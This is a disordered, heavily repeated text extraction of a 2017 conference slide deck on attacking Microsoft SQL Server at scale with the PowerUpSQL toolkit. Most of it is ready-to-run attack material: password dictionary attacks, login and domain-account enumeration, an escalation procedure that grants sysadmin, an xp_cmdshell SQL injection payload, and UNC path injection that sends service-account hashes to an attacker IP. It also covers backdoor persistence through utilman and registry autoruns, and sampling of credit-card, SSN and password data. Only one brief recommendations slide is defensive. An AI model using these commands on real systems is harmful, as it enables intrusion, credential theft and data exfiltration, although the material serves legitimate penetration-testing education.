3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 5: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Why PowerShell Native to Windows

Run commands in memory

Run managed net code

Run unmanaged code

Avoid detection by legacy Anti-virus

Already flagged as trusted by most application whitelist solutions

A medium used to write many open source Pentest toolkits

PowerUpSQL

PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)

Scalability via runspace threading Flexibility via pipeline support

ps objects and data tables Portability

o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file

Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential

PowerUpSQL Overview Functions

Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd

httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions

PowerUpSQL Overview Where can I get it

GithubhttpsgithubcomnetspiPowerUpSQL

PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL

PowerUpSQL Overview How do I install it

GithubImport-Module PowerUpSQLpsd1

IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)

Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy

PowerShell GalleryInstall-Module -Name PowerUpSQL

SQL ServerBasics

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

